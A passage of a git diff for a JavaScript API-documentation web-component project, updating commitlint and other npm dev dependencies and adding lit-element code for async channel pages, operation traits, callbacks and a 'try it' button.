"sha512-RqG0cxxiwaL9OgQbA2ZEfZaVIRJmbtsZgnj5G07AjN7///s/40grSN4/kDl8YjUgvAZskPfJRoGGYNvHJ4zHWA==", "dev": true, "requires": { - "@commitlint/format": "^13.1.0", - "@commitlint/lint": "^13.1.0", - "@commitlint/load": "^13.1.0", - "@commitlint/read": "^13.1.0", - "@commitlint/types": "^13.1.0", + "@commitlint/format": "^13.2.0", + "@commitlint/lint": "^13.2.0", + "@commitlint/load": "^13.2.0", + "@commitlint/read": "^13.2.0", + "@commitlint/types": "^13.2.0", "lodash": "^4.17.19", "resolve-from": "5.0.0", "resolve-global": "1.0.0", @@ -849,71 +849,72 @@ } }, "@commitlint/config-conventional": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-13.1.0.tgz", - "integrity": "sha512-zukJXqdr6jtMiVRy3tTHmwgKcUMGfqKDEskRigc5W3k2aYF4gBAtCEjMAJGZgSQE4DMcHeok0pEV2ANmTpb0cw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/config-conventional/-/config-conventional-13.2.0.tgz", + "integrity": "sha512-7u7DdOiF+3qSdDlbQGfpvCH8DCQdLFvnI2+VucYmmV7E92iD6t9PBj+UjIoSQCaMAzYp27Vkall78AkcXBh6Xw==", "dev": true, "requires": { "conventional-changelog-conventionalcommits": "^4.3.1" } }, "@commitlint/ensure": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-13.1.0.tgz", - "integrity": "sha512-NRGyjOdZQnlYwm9it//BZJ2Vm+4x7G9rEnHpLCvNKYY0c6RA8Qf7hamLAB8dWO12RLuFt06JaOpHZoTt/gHutA==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/ensure/-/ensure-13.2.0.tgz", + "integrity": "sha512-rqhT62RehdLTRBu8OrPHnRCCd/7RmHEE4TiTlT4BLlr5ls5jlZhecOQWJ8np872uCNirrJ5NFjnjYYdbkNoW9Q==", "dev": true, "requires": { - "@commitlint/types": "^13.1.0", + "@commitlint/types": "^13.2.0", "lodash": "^4.17.19" } }, "@commitlint/execute-rule": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-13.0.0.tgz", - "integrity": "sha512-lBz2bJhNAgkkU/rFMAw3XBNujbxhxlaFHY3lfKB/MxpAa+pIfmWB3ig9i1VKe0wCvujk02O0WiMleNaRn2KJqw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/execute-rule/-/execute-rule-13.2.0.tgz", + "integrity": "sha512-6nPwpN0hwTYmsH3WM4hCdN+NrMopgRIuQ0aqZa+jnwMoS/g6ljliQNYfL+m5WO306BaIu1W3yYpbW5aI8gEr0g==", "dev": true }, "@commitlint/format": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-13.1.0.tgz", - "integrity": "sha512-n46rYvzf+6Sm99TJjTLjJBkjm6JVcklt31lDO5Q+pCIV0NnJ4qIUcwa6wIL9a9Vqb1XzlMgtp27E0zyYArkvSg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/format/-/format-13.2.0.tgz", + "integrity": "sha512-yNBQJe6YFhM1pJAta4LvzQxccSKof6axJH7ALYjuhQqfT8AKlad7Y/2SuJ07ioyreNIqwOTuF2UfU8yJ7JzEIQ==", "dev": true, "requires": { - "@commitlint/types": "^13.1.0", + "@commitlint/types": "^13.2.0", "chalk": "^4.0.0" } }, "@commitlint/is-ignored": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-13.1.0.tgz", - "integrity": "sha512-P6zenLE5Tn3FTNjRzmL9+/KooTXEI0khA2TmUbuei9KiycemeO4q7Xk7w7aXwFPNAbN0O9oI7z3z7cFpzKJWmQ==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/is-ignored/-/is-ignored-13.2.0.tgz", + "integrity": "sha512-onnx4WctHFPPkHGFFAZBIWRSaNwuhixIIfbwPhcZ6IewwQX5n4jpjwM1GokA7vhlOnQ57W7AavbKUGjzIVtnRQ==", "dev": true, "requires": { - "@commitlint/types": "^13.1.0", + "@commitlint/types": "^13.2.0", "semver": "7.3.5" } }, "@commitlint/lint": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-13.1.0.tgz", - "integrity": "sha512-qH9AYSQDDTaSWSdtOvB3G1RdPpcYSgddAdFYqpFewlKQ1GJj/L+sM7vwqCG7/ip6AiM04Sry1sgmFzaEoFREUA==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/lint/-/lint-13.2.0.tgz", + "integrity": "sha512-5XYkh0e9ehHjA7BxAHFpjPgr1qqbFY8OFG1wpBiAhycbYBtJnQmculA2wcwqTM40YCUBqEvWFdq86jTG8fbkMw==", "dev": true, "requires": { - "@commitlint/is-ignored": "^13.1.0", - "@commitlint/parse": "^13.1.0", - "@commitlint/rules": "^13.1.0", - "@commitlint/types": "^13.1.0" + "@commitlint/is-ignored": "^13.2.0", + "@commitlint/parse": "^13.2.0", + "@commitlint/rules": "^13.2.0", + "@commitlint/types": "^13.2.0" } }, "@commitlint/load": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-13.1.0.tgz", - "integrity": "sha512-zlZbjJCWnWmBOSwTXis8H7I6pYk6JbDwOCuARA6B9Y/qt2PD+NCo0E/7EuaaFoxjHl+o56QR5QttuMBrf+BJzg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/load/-/load-13.2.0.tgz", + "integrity": "sha512-Nhkv+hwWCCxWGjmE9jd1U8kfGGCkZVpwzlTtdKxpY+Aj2VCFg3BjY+qA81pMF3oAsIpxchSaZG5llb8kduVjYg==", "dev": true, "requires": { - "@commitlint/execute-rule": "^13.0.0", - "@commitlint/resolve-extends": "^13.0.0", - "@commitlint/types": "^13.1.0", + "@commitlint/execute-rule": "^13.2.0", + "@commitlint/resolve-extends": "^13.2.0", + "@commitlint/types": "^13.2.0", + "@endemolshinegroup/cosmiconfig-typescript-loader": "^3.0.2", "chalk": "^4.0.0", "cosmiconfig": "^7.0.0", "lodash": "^4.17.19", @@ -921,38 +922,38 @@ } }, "@commitlint/message": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-13.0.0.tgz", - "integrity": "sha512-W/pxhesVEk8747BEWJ+VGQ9ILHmCV27/pEwJ0hGny1wqVquUR8SxvScRCbUjHCB1YtWX4dEnOPXOS9CLH/CX7A==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/message/-/message-13.2.0.tgz", + "integrity": "sha512-+LlErJj2F2AC86xJb33VJIvSt25xqSF1I0b0GApSgoUtQBeJhx4SxIj1BLvGcLVmbRmbgTzAFq/QylwLId7EhA==", "dev": true }, "@commitlint/parse": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-13.1.0.tgz", - "integrity": "sha512-xFybZcqBiKVjt6vTStvQkySWEUYPI0AcO4QQELyy29o8EzYZqWkhUfrb7K61fWiHsplWL1iL6F3qCLoxSgTcrg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/parse/-/parse-13.2.0.tgz", + "integrity": "sha512-AtfKSQJQADbDhW+kuC5PxOyBANsYCuuJlZRZ2PYslOz2rvWwZ93zt+nKjM4g7C9ETbz0uq4r7/EoOsTJ2nJqfQ==", "dev": true, "requires": { - "@commitlint/types": "^13.1.0", + "@commitlint/types": "^13.2.0", "conventional-changelog-angular": "^5.0.11", - "conventional-commits-parser": "^3.0.0" + "conventional-commits-parser": "^3.2.2" } }, "@commitlint/read": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-13.1.0.tgz", - "integrity": "sha512-NrVe23GMKyL6i1yDJD8IpqCBzhzoS3wtLfDj8QBzc01Ov1cYBmDojzvBklypGb+MLJM1NbzmRM4PR5pNX0U/NQ==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/read/-/read-13.2.0.tgz", + "integrity": "sha512-7db5e1Bn3re6hQN0SqygTMF/QX6/MQauoJn3wJiUHE93lvwO6aFQxT3qAlYeyBPwfWsmDz/uSH454jtrSsv3Uw==", "dev": true, "requires": { - "@commitlint/top-level": "^13.0.0", - "@commitlint/types": "^13.1.0", + "@commitlint/top-level": "^13.2.0", + "@commitlint/types": "^13.2.0", "fs-extra": "^10.0.0", "git-raw-commits": "^2.0.0" } }, "@commitlint/resolve-extends": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-13.0.0.tgz", - "integrity": "sha512-1SyaE+UOsYTkQlTPUOoj4NwxQhGFtYildVS/d0TJuK8a9uAJLw7bhCLH2PEeH5cC2D1do4Eqhx/3bLDrSLH3hg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/resolve-extends/-/resolve-extends-13.2.0.tgz", + "integrity": "sha512-HLCMkqMKtvl1yYLZ1Pm0UpFvd0kYjsm1meLOGZ7VkOd9G/XX+Fr1S2G5AT2zeiDw7WUVYK8lGVMNa319bnV+aw==", "dev": true, "requires": { "import-fresh": "^3.0.0", @@ -962,28 +963,28 @@ } }, "@commitlint/rules": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-13.1.0.tgz", - "integrity": "sha512-b6F+vBqEXsHVghrhomG0Y6YJimHZqkzZ0n5QEpk03dpBXH2OnsezpTw5e+GvbyYCc7PutGbYVQkytuv+7xCxYA==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/rules/-/rules-13.2.0.tgz", + "integrity": "sha512-O3A9S7blOzvHfzrJrUQe9JxdtGy154ol/GXHwvd8WfMJ10y5ryBB4b6+0YZ1XhItWzrEASOfOKbD++EdLV90dQ==", "dev": true, "requires": { - "@commitlint/ensure": "^13.1.0", - "@commitlint/message": "^13.0.0", - "@commitlint/to-lines": "^13.0.0", - "@commitlint/types": "^13.1.0", + "@commitlint/ensure": "^13.2.0", + "@commitlint/message": "^13.2.0", + "@commitlint/to-lines": "^13.2.0", + "@commitlint/types": "^13.2.0", "execa": "^5.0.0" } }, "@commitlint/to-lines": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-13.0.0.tgz", - "integrity": "sha512-mzxWwCio1M4/kG9/69TTYqrraQ66LmtJCYTzAZdZ2eJX3I5w52pSjyP/DJzAUVmmJCYf2Kw3s+RtNVShtnZ+Rw==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/to-lines/-/to-lines-13.2.0.tgz", + "integrity": "sha512-ZfWZix2y/CzewReCrj5g0nKOEfj5HW9eBMDrqjJJMPApve00CWv0tYrFCGXuGlv244lW4uvWJt6J/0HLRWsfyg==", "dev": true }, "@commitlint/top-level": { - "version": "13.0.0", - "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-13.0.0.tgz", - "integrity": "sha512-baBy3MZBF28sR93yFezd4a5TdHsbXaakeladfHK9dOcGdXo9oQe3GS5hP3BmlN680D6AiQSN7QPgEJgrNUWUCg==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/top-level/-/top-level-13.2.0.tgz", + "integrity": "sha512-knBvWYbIq6VV6VPHrVeDsxDiJq4Zq6cv5NIYU3iesKAsmK2KlLfsZPa+Ig96Y4AqAPU3zNJwjHxYkz9qxdBbfA==", "dev": true, "requires": { "find-up": "^5.0.0" @@ -1029,9 +1030,9 @@ } }, "@commitlint/types": { - "version": "13.1.0", - "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-13.1.0.tgz", - "integrity": "sha512-zcVjuT+OfKt8h91vhBxt05RMcTGEx6DM7Q9QZeuMbXFk6xgbsSEDMMapbJPA1bCZ81fa/1OQBijSYPrKvtt06g==", + "version": "13.2.0", + "resolved": "https://registry.npmjs.org/@commitlint/types/-/types-13.2.0.tgz", + "integrity": "sha512-RRVHEqmk1qn/dIaSQhvuca6k/6Z54G+r/KyimZ8gnAFielGiGUpsFRhIY3qhd5rXClVxDaa3nlcyTWckSccotQ==", "dev": true, "requires": { "chalk": "^4.0.0" @@ -2680,6 +2681,26 @@ "integrity": "sha512-Ce3xE2JvTSEbASFbRbA1gAIcMcZWdS2yUYRaQbeM0nbOzaZrUYfa3ePtcriYRZOZmr+CkKA+zbjhvTpIOAYVcw==", "dev": true }, + "@endemolshinegroup/cosmiconfig-typescript-loader": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@endemolshinegroup/cosmiconfig-typescript-loader/-/cosmiconfig-typescript-loader-3.0.2.tgz", + "integrity": "sha512-QRVtqJuS1mcT56oHpVegkKBlgtWjXw/gHNWO3eL9oyB5Sc7HBoc2OLG/nYpVfT/Jejvo3NUrD0Udk7XgoyDKkA==", + "dev": true, + "requires": { + "lodash.get": "^4", + "make-error": "^1", + "ts-node": "^9", + "tslib": "^2" + }, + "dependencies": { + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + } + } + }, "@eslint/eslintrc": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-0.4.3.tgz", @@ -3918,6 +3939,12 @@ "picomatch": "^2.0.4" } }, + "arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==", + "dev": true + }, "argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", @@ -4709,6 +4736,12 @@ "yaml": "^1.10.0" } }, + "create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true + }, "cross-fetch": { "version": "3.1.4", "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.4.tgz", @@ -7610,6 +7643,12 @@ } } }, + "make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true + }, "map-obj": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", @@ -9937,6 +9976,30 @@ "amdefine": ">=0.0.4" } }, + "source-map-support": { + "version": "0.5.20", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.20.tgz", + "integrity": "sha512-n1lZZ8Ve4ksRqizaBQgxXDgKwttHDhyfQjA6YZZn8+AroHbsIz+JjwxQDxbp+7y5OYCI8t1Yk7etjD9CRd2hIw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + }, + "dependencies": { + "buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + } + } + }, "spark-md5": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", @@ -10584,6 +10647,28 @@ "integrity": "sha512-XrHUvV5HpdLmIj4uVMxHggLbFSZYIn7HEWsqePZcI50pco+MPqJ50wMGY794X7AOOhxOBAjbkqfAbEe/QMp2Lw==", "dev": true }, + "ts-node": { + "version": "9.1.1", + "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-9.1.1.tgz", + "integrity": "sha512-hPlt7ZACERQGf03M253ytLY3dHbGNGrAq9qIHWUY9XHYl1z7wYngSr3OQ5xmui8o2AaxsONxIzjafLUiWBo1Fg==", + "dev": true, + "requires": { + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "source-map-support": "^0.5.17", + "yn": "3.1.1" + }, + "dependencies": { + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true + } + } + }, "tsconfig-paths": { "version": "3.11.0", "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.11.0.tgz", @@ -11366,6 +11451,12 @@ "integrity": "sha512-faQrqNMzcPCHGVC2aaOINk13K+aaBDUPjGWl0teOXywElLjyVAB6Oe2jj62jHYtwsU49jXhScYbvPENK+6zAvQ==", "dev": true }, + "yn": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yn/-/yn-3.1.1.tgz", + "integrity": "sha512-Ux4ygGWsu2c7isFWe8Yu1YluJmqVhxqK2cLXNQA5AcC3QfbGNpM7fu0Y8b/z16pXLnFxZYvWhd3fhBY9DLmC6Q==", + "dev": true + }, "yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", diff --git a/package.json b/package.json index 47df821..a2fc759 100644 --- a/package.json +++ b/package.json @@ -36,8 +36,8 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", - "@api-components/amf-helper-mixin": "^4.5.1", - "@api-components/api-schema": "^0.1.1", + "@api-components/amf-helper-mixin": "^4.5.6", + "@api-components/api-schema": "^0.1.2", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", "@open-wc/dedupe-mixin": "^1.3.0", @@ -48,13 +48,14 @@ "@advanced-rest-client/arc-demo-helper": "^3.0.3", "@advanced-rest-client/authorization": "^0.2.3", "@anypoint-web-components/anypoint-checkbox": "^1.2.2", + "@anypoint-web-components/anypoint-dialog": "^0.1.10", "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-styles": "^1.0.2", "@api-components/api-model-generator": "^0.2.14", "@api-components/api-navigation": "^4.3.2", - "@api-components/api-request": "^0.3.0-beta.1", - "@commitlint/cli": "^13.1.0", - "@commitlint/config-conventional": "^13.1.0", + "@api-components/api-request": "^0.3.0-beta.3", + "@commitlint/cli": "^13.2.0", + "@commitlint/config-conventional": "^13.2.0", "@open-wc/eslint-config": "^4.3.0", "@open-wc/testing": "^2.5.33", "@web/dev-server": "^0.1.24", diff --git a/src/elements/ApiChannelDocumentationElement.js b/src/elements/ApiChannelDocumentationElement.js new file mode 100644 index 0000000..8051a9c --- /dev/null +++ b/src/elements/ApiChannelDocumentationElement.js @@ -0,0 +1,91 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import ApiResourceDocumentationElement, { + endpointValue, + urlValue, + urlTemplate, + titleTemplate, + computeUrlValue, + operationTemplate, +} from './ApiResourceDocumentationElement.js'; +import '../../api-operation-document.js' +import '../../api-parameter-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ + +/** + * A web component that renders the async API Channel documentation page + */ +export default class ApiChannelDocumentationElement extends ApiResourceDocumentationElement { + /** + * Computes the URL value for the current serves, selected server, and endpoint's path. + */ + [computeUrlValue]() { + const { server, protocol='' } = this; + let url = ''; + if (server) { + url = server.url; + if (url.endsWith('/')) { + url = url.substr(0, url.length - 1); + } + } + let result = ''; + if (protocol && !url.includes('://')) { + result = `${protocol}://`; + } + result += url; + if (!result) { + result = '(unknown server)'; + } + this[urlValue] = result; + } + + /** + * @returns {TemplateResult|string} The template for the Operation title. + */ + [titleTemplate]() { + const endPoint = this[endpointValue]; + const { name, path } = endPoint; + const label = name || path; + if (!label) { + return ''; + } + return html` +
    +
    + ${label} +
    +

    API channel

    +
    + `; + } + + /** + * @returns {TemplateResult} The template for the operation's URL. + */ + [urlTemplate]() { + const url = this[urlValue]; + return html` +
    +
    ${url}
    +
    + `; + } + + /** + * @param {ApiOperation} operation The graph id of the operation. + * @returns {TemplateResult} The template for the API operation. + */ + [operationTemplate](operation) { + const { serverId } = this; + return html``; + } +} diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index 272b360..02e9bf7 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -192,7 +192,7 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { */ [schemaItemTemplate](model) { return html` - + `; } diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js index 883d120..c0c159d 100644 --- a/src/elements/ApiOperationDocumentElement.js +++ b/src/elements/ApiOperationDocumentElement.js @@ -27,6 +27,7 @@ import '../../api-security-requirement-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ /** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ /** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiCallback} ApiCallback */ /** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ export const queryEndpoint = Symbol('queryEndpoint'); @@ -41,6 +42,8 @@ export const responsesValue = Symbol('responsesValue'); export const computeUrlValue = Symbol('computeUrlValue'); export const preselectResponse = Symbol('preselectResponse'); export const titleTemplate = Symbol('titleTemplate'); +export const traitsTemplate = Symbol('extendsTemplate'); +export const summaryTemplate = Symbol('summaryTemplate'); export const urlTemplate = Symbol('urlTemplate'); export const requestTemplate = Symbol('requestTemplate'); export const responseTemplate = Symbol('responseTemplate'); @@ -50,13 +53,19 @@ export const statusCodeHandler = Symbol('statusCodeHandler'); export const securitySectionTemplate = Symbol('securitySectionTemplate'); export const deprecatedTemplate = Symbol('deprecatedTemplate'); export const metaDataTemplate = Symbol('metaDataTemplate'); +export const tryItTemplate = Symbol('tryItTemplate'); +export const tryItHandler = Symbol('tryItHandler'); +export const callbacksTemplate = Symbol('callbacksTemplate'); +export const callbackTemplate = Symbol('callbackTemplate'); /** * A web component that renders the documentation page for an API operation built from * the AMF graph model. + * + * @fires tryit */ export default class ApiOperationDocumentElement extends ApiDocumentationBase { - static get styles() { + get styles() { return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles, schemaStyles]; } @@ -137,6 +146,18 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * The selected status code in the responses section. */ selectedStatus: { type: String }, + /** + * Whether the callbacks section is opened. + */ + callbacksOpened: { type: String }, + /** + * When set it renders the "try it" button that dispatches the `tryit` event. + */ + tryIt: { type: Boolean, reflect: true }, + /** + * When set it renders the view optimised for asynchronous API operation. + */ + asyncApi: { type: Boolean, reflect: true }, }; } @@ -167,7 +188,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { /** @type {boolean} */ this.responsesOpened = undefined; /** @type {boolean} */ + this.callbacksOpened = undefined; + /** @type {boolean} */ this.securityOpened = undefined; + /** @type {boolean} */ + this.tryIt = undefined; + /** @type {boolean} */ + this.asyncApi = undefined; /** @type {Operation} */ this.domainModel = undefined; } @@ -180,9 +207,13 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { if (domainModel) { this[operationValue] = this[serializerValue].operation(domainModel); } else if (domainId && amf) { - const webApi = this._computeApi(amf); - const model = this._computeMethodModel(webApi, domainId); - this[operationValue] = this[serializerValue].operation(model); + if (!this[operationValue] || this[operationValue].id !== domainId) { + const webApi = this._computeApi(amf); + const model = this._computeMethodModel(webApi, domainId); + if (model) { + this[operationValue] = this[serializerValue].operation(model); + } + } } await this[queryEndpoint](); await this[queryServers](); @@ -269,6 +300,9 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { * Computes the URL value for the current serves, selected server, and endpoint's path. */ [computeUrlValue]() { + if (this.asyncApi) { + return; + } const servers = this[serversValue]; const endpoint = this[endpointValue]; const serverId = this[serverIdValue]; @@ -309,17 +343,45 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { this.selectedStatus = String(tabs.selected); } + /** + * A handler for the try it button click. + * It dispatches the `tryit` custom event. + */ + [tryItHandler]() { + const { operation, asyncApi } = this; + if (!operation || asyncApi) { + return; + } + const { id } = operation; + const detail = { id }; + const config = { + bubbles: true, + composed: true, + detail, + }; + [ + 'tryit-requested', + 'tryit' + ].forEach((name) => { + this.dispatchEvent(new CustomEvent(name, config)); + }); + } + render() { if (!this[operationValue]) { return html``; } return html` + ${this[titleTemplate]()} + ${this[traitsTemplate]()} + ${this[summaryTemplate]()} ${this[deprecatedTemplate]()} ${this[descriptionTemplate](this[operationValue].description)} ${this[metaDataTemplate]()} ${this[urlTemplate]()} ${this[requestTemplate]()} + ${this[callbacksTemplate]()} ${this[responseTemplate]()} ${this[securitySectionTemplate]()} `; @@ -330,22 +392,64 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { */ [titleTemplate]() { const operation = this[operationValue]; - const { name, method, deprecated, summary } = operation; - const label = summary || name || method; + const { name, method, deprecated } = operation; + const label = name || method; const labelClasses = { label: true, deprecated, }; + const subTitle = this.asyncApi ? 'Async operation' : 'API operation'; return html`
    ${label} + ${this[tryItTemplate]()}
    -

    API operation

    +

    ${subTitle}

    `; } + /** + * @returns {TemplateResult|string} The template for the Operation traits. + */ + [traitsTemplate]() { + const operation = /** @type ApiOperation */ (this[operationValue]); + const { traits } = operation; + if (!traits || !traits.length) { + return ''; + } + const names = traits.map(trait => trait.name).filter(i => !!i); + let value = ''; + if (names.length === 2) { + value = names.join(' and '); + } else if (value.length > 2) { + const last = names.pop(); + value = names.join(', '); + value += `, and ${last}`; + } else { + value = names.join(', '); + } + return html` +
    +

    Mixes in ${value}.

    +
    `; + } + + /** + * @returns {TemplateResult|string} The template for the operation summary filed. + */ + [summaryTemplate]() { + const operation = this[operationValue]; + const { summary } = operation; + if (!summary) { + return ''; + } + return html` +

    ${summary}

    + `; + } + /** * @returns {TemplateResult[]|string} The template for the Operation meta information. */ @@ -383,9 +487,12 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { } /** - * @returns {TemplateResult} The template for the operation's URL. + * @returns {TemplateResult|string} The template for the operation's URL. */ [urlTemplate]() { + if (this.asyncApi) { + return ''; + } const url = this[urlValue]; const operation = this[operationValue]; const { method } = operation; @@ -407,6 +514,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { } return html` this[callbackTemplate](callback)); + return this[paramsSectionTemplate]('Callbacks', 'callbacksOpened', content); + } + + /** + * @param {ApiCallback} callback + * @returns {TemplateResult} The template for the operation's request documentation element. + */ + [callbackTemplate](callback) { + const { name, endpoint } = callback; + if (!endpoint) { + return html``; + } + const { operations=[] } = endpoint; + const [operation] = operations; + if (!operation) { + return html``; + } + return html` +
    +
    ${name}
    + +
    + `; + } + [responseTemplate]() { const responses = this[responsesValue]; if (!Array.isArray(responses) || !responses.length) { @@ -460,7 +608,7 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { return html`
    Select a response to render the documentation.
    `; } return html` - + `; } @@ -472,7 +620,24 @@ export default class ApiOperationDocumentElement extends ApiDocumentationBase { if (!operation || !Array.isArray(operation.security) || !operation.security.length) { return ''; } - const content = operation.security.map((model) => html``); + const content = operation.security.map((model) => html``); return this[paramsSectionTemplate]('Security', 'securityOpened', content); } + + /** + * @returns {TemplateResult|string} The template for the "try it" button. + */ + [tryItTemplate]() { + if (!this.tryIt) { + return ''; + } + return html` + Try it + `; + } } diff --git a/src/elements/ApiPayloadDocumentElement.js b/src/elements/ApiPayloadDocumentElement.js index 75c837d..ef8c911 100644 --- a/src/elements/ApiPayloadDocumentElement.js +++ b/src/elements/ApiPayloadDocumentElement.js @@ -140,7 +140,7 @@ export default class ApiPayloadDocumentElement extends ApiDocumentationBase { return html`
    Schema is not defined for this payload.
